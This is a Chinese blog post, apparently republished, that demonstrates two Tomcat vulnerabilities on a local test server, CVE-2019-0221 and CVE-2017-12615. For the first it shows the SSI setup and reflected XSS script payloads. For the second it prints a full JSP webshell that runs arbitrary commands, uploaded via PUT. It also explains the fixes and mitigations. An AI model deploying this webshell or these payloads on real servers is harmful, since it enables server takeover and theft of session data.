我成功攻击了Tomcat服务器，大佬们的反应亮了
nanshan 2024-11-24 19:36 27 浏览 0 评论
Tomcat是一个开源的轻量级Web应用服务器，在我们平常工作过程中接触得非常多。代码也非常经典，很多人为了提升自己的技术也会去阅读学习Tomcat的源码。但正如著名诗人李白所说的：世界上本没有漏洞，使用的人多了，也就发现了漏洞。比如今年的2月份就爆出了存在文件包含漏洞。
今天我们选择两个比较直观的Tomcat漏洞去模拟整个漏洞被攻击的过程，以及漏洞为什么会产生，Tomcat大神们又是如何应对的。
【攻击一：XSS攻击】
一、SSI技术说明
首先演示的漏洞和Tomcat的SSI功能有关，SSI是什么
SSI技术，也叫作Serve Side Includes，SSI（服务器端包含）是放置在HTML页面中的指令，并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面，而不必通过CGI程序或其他动态技术来提供整个页面。使用SSI技术文件默认的后缀名为.shtml；
举例：我们可以将指令放置到现有的HTML页面中，例如：
!--#echo var="DATE_LOCAL" -->
当该页面被执行时，将会显示如下结果
Sunday, 22-March-2020 18:28:54 GMT
SSI最常见的用途之一：输出CGI程序的结果，例如``命中计数器''。关于该技术更为详细的说明参见：http://httpd.apache.org/docs/current/howto/ssi.html
二、为Tomcat开启SSI
- 准备好JRE、tomcat环境，我选择的是“apache-tomcat-9.0.10” （该漏洞受影响的版本有：Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 ）
- 修改conf/context.xml第19行，开启权限
<Context privileged="true">
- 修改conf\web.xml，开启SSI Servlet。该段代码默认是被注释掉的，我们删除注释即可，代码在310-322行。
<servlet>
<servlet-name>ssi</servlet-name>
<servlet-class>
org.apache.catalina.ssi.SSIServlet
</servlet-class>
<init-param>
<param-name>buffered</param-name>
<param-value>1</param-value>
</init-param>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>expires</param-name>
<param-value>666</param-value>
</init-param>
<init-param>
<param-name>isVirtualWebappRelative</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>4</load-on-startup>
</servlet>
去掉关于ssi配置的注释 422-425行
<servlet-mapping>
<servlet-name>ssi</servlet-name>
<url-pattern>*.shtml</url-pattern>
</servlet-mapping>
- 在根目录下添加madashu_env.shtml（习惯性命名为printEnv.shtml）文件，位于webapps/ROOT/ssi/
<html><head><title></title><body>
Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>
Env: <!--#printenv -->
</body></html>
- 启动Tomcat即可
三、发起攻击
- 我们输入以下url看下效果
http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
2. XSS注入
http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E
攻击成功，页面展示如下。
通过这种方式我们使用户加载并执行攻击者恶意制造的网页程序，攻击者还可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。
四、源码分析
漏洞产生后，Tomcat大神们迅速修复了该漏洞，我们从Github上找到当时的代码修复提交记录：点击查看commit
说真的，当时看到这段修复代码我是惊呆了，这是什么骚操作！！！“entity”又是什么鬼！！！
于是接下往下翻代码：
这个地方将我们输入的变量值直接输出到了网页，很明显刚刚的entity应该是进行了转码。我们找到SSIMediator.java文件，路径org.apache.catalina.ssi. SSIMediator
这样我们一下子就明白过来了，当发现是“entity”编码，会将输入的内容进行Escape，从而避免了XSS。估计大神们当时也是紧急出了个hotfix版本，直接把参数写死成“entity”。还有作为Web服务器，大神们竟然也会犯这么低级别的错误，所以这也解释了为什么不存在0Bug的系统，哈哈！去翻看最新的SSIPrintenv.java文件，已经把“entity”定义成常量了，这才专业嘛！
【攻击二：远程代码执行】
接下来再简单演示下远程代码执行漏洞，该漏洞为高危漏洞，即使是非默认配置，但是一旦存在漏洞，那么攻击者可以成功上传 Webshell，并控制服务器。
- 通过put方式上传文件，请求进行中时进行拦截：
- 生成恶意文件，取名叫jiansheng.jsp
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
- 远程上传成功，接下来就可以愉快地在这个不属于我们自己的tomcat里玩耍了
- 整个代码也是比较简单的，可以翻看JspServlet.java，这里就不做演示了。
说明：该漏洞影响范围非常广，从 5.x 到 9.x 全部中枪。最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true。
结语
兴趣是最好的老师，我们通过去看大佬们掉过的坑，写过的代码，站在巨人的肩膀人可以更快速地提升自己。
有兴趣的小伙伴可以去看看Tomcat已爆出的漏洞：http://tomcat.apache.org/security-9.html本次演示的两个漏洞分别是CVE-2019-0221，CVE-2017-12615。
作者：码大叔
来源：https://www.cnblogs.com/madashu/p/12550149.html
相关推荐
- 手机看视频卡顿的系统化解决方案（手机看视频特别卡是什么原因）
-
手机看视频卡顿是日常使用中常见的问题，通常由网络不稳定、设备性能不足、应用设置不当或系统问题导致。以下方案按优先级排序，兼顾操作难度与解决效果，帮助你快速定位并解决卡顿问题。一、网络优化：解决最核心诱...
- 电子电路硬件测试基础-板级测试工具之示波器(1)
-
示波器介绍示波器，作为一种电子测试仪器，主要用于对电信号的波形进行测量、显示与分析。它的工作原理是将电信号的瞬时值转化为屏幕上的垂直偏移，并以时间为基准在水平轴上展开，进而生成信号的图形化呈现。借助示...
- 宽带安装避坑指南:从选套餐到验收全流程注意事项
-
在网络成为生活必需品的当下，看似简单的宽带安装实则暗藏诸多细节，稍不留意就会踩入隐藏费用、性能虚标等陷阱。掌握以下关键要点，助你轻松避开宽带安装雷区。一、选对运营商与套餐，拒绝隐形消费选择运营商时，不...
- 噪声分析及小信号测试（噪音中的信号是什么含义）
-
示波器在大量开关电源或大功率用电器等复杂环境下进行自环测试，容易出现视频中的噪声问题。示波器在进行小信号测试时，我们要考虑地线带来的干扰，一般设置要求是：一、带宽限制打开；二、尽可能短的地线，一般使用...
- 怀疑房间被装了监控?深度解析检测方法与步骤
-
在现代社会中，隐私保护日益受到重视。当我们租房、住酒店或身处私人住宅时，如果发现房间内有异常的迹象，如电器无故自动开关、网络速度突然变慢、电费异常增加，或者在某些特定区域总感觉“被注视”，这些都可能是...
- 如何快速鉴定网线好坏?怎样测网线电阻?
-
一、快速鉴定网线好坏的3大核心技巧1.外观检测法：5秒看穿网线本质标识验证：正品网线外皮应清晰印有"CAT5e""CAT6"等类别标识，以及米数刻度（如30...
- 网速慢?教你快速检测网卡速率! #网络测速
-
网卡是百兆还是千兆？你知道吗？网速慢可能就是因为网卡不够快，今天就来教你如何快速检查网卡。1.打开CMD：首先找到电脑，按下Win+R键，输入cmd，然后按回车，这就打开了命令提示符...
- 怎么查自己家WiFi多少兆?（苹果手机测wifi网速）
-
怎么查自己家WiFi多少兆？在数字化生活日益普及的今天，家庭WiFi的速度直接影响着我们上网冲浪、在线学习、视频通话等日常活动的流畅度。了解自家WiFi的带宽通常以兆比特每秒Mbps为...
- 家里宽带网速不理想?测一下就知道了
-
家里网络不理想，经常发生卡顿或是网络抖动？可能是家里宽带的影响，这时候不妨实际测试下网速看看，是否符合预期。个人最近经历过两次上网卡顿问题，第一个是上个月回老家，刷剧的时候，发现有加载缓慢的情况，10...
- Linux 必备的20个核心知识点（linux内核知识点）
-
学习和使用Linux所必备的20个核心知识点。这些知识点涵盖了从基础操作到系统管理和网络概念，是构建扎实Linux技能的基础。Linux必备的20个知识点1.Linux文件系统层级标...
- 忆享科技戟星安全实验室|内网隧道技术，你知道几个?
-
本文约6000字，阅读约需15分钟。0x00前言在实际环境中，会有各种网络设备、防火墙以及入侵检测系统阻止外网与内网的通信，我们构建内网隐蔽通道来突破安全策略的限制，实现对目标机器的控制。当我们在外...
- Win10怎么连接linux虚拟机?（win10搭建linux虚拟机）
-
这个不难，主要是ping一下ip，检查win10系统是否和Linux虚拟机连通，接着开启ssh服务，如果一切正常的话，就可以连接linux虚拟机，这里简单介绍一下实现过程，实验环境win10+vmwa...
- 如何在CentOS中配置静态IP地址?（centos6.5配置静态ip地址）
-
静态IP地址是在计算机网络中使用的固定IP地址，与动态分配的IP地址相对。在CentOS中，通过配置网络设置，您可以轻松地为您的系统设置静态IP地址。本文将详细介绍在CentOS中配置静态IP地址的步...
- Firewalld的简单使用（firewall direct）
-
从Centos7开始默认防火墙就已经更换为了firewall，替换了之前的iptablesFirewalld服务采用firewall-cmd或firewall-config(图形化工具)来动态管理ke...
- Vmware设置静态IP和主机访问（vmware 设置固定ip）
-
摘要：Vmware设置静态IP和主机访问关键词：Vmware、静态IP、主机访问整体说明最近在做大模型的本地部署，发现之前的Virtualbox，不太能用到本地的英伟达GPU，所以开始使用...
欢迎 你 发表评论:
- 一周热门
- 最近发表
- 标签列表
-
- linux 查询端口号 (58)
- docker映射容器目录到宿主机 (66)
- 杀端口 (60)
- yum更换阿里源 (62)
- internet explorer 增强的安全配置已启用 (65)
- linux自动挂载 (56)
- 禁用selinux (55)
- sysv-rc-conf (69)
- ubuntu防火墙状态查看 (64)
- windows server 2022激活密钥 (56)
- 无法与服务器建立安全连接是什么意思 (74)
- 443/80端口被占用怎么解决 (56)
- ping无法访问目标主机怎么解决 (58)
- fdatasync (59)
- 405 not allowed (56)
- 免备案虚拟主机zxhost (55)
- linux根据pid查看进程 (60)
- dhcp工具 (62)
- mysql 1045 (57)
- 宝塔远程工具 (56)
- ssh服务器拒绝了密码 请再试一次 (56)
- ubuntu卸载docker (56)
- linux查看nginx状态 (63)
- tomcat 乱码 (76)
- 2008r2激活序列号 (65)